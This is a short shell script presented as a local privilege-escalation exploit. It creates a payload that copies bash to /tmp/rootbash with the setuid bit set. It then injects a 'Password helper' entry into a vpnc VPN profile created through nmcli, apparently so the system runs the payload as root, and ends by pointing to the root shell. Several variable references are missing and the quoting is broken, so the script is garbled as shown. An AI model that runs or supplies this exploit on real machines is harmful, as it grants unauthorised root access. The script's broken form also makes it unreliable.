CONNECTION_NAME="malicious_vpn"
PAYLOAD_SCRIPT="/tmp/payload.sh"

cat << EOF > 
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

chmod +x 

nmcli connection add type vpn vpn-type vpnc con-name  ifname '*'     +vpn.data 'IPSec gateway = 127.0.0.1'     +vpn.data 'IPSec ID = test'     +vpn.data 'IPSec secret-flags = 0'     +vpn.data 'Xauth username = test
Password helper '''

nmcli connection up 

nmcli connection delete 
rm -f 

echo "[*] Exploit completed. Check /tmp/rootbash for a root shell."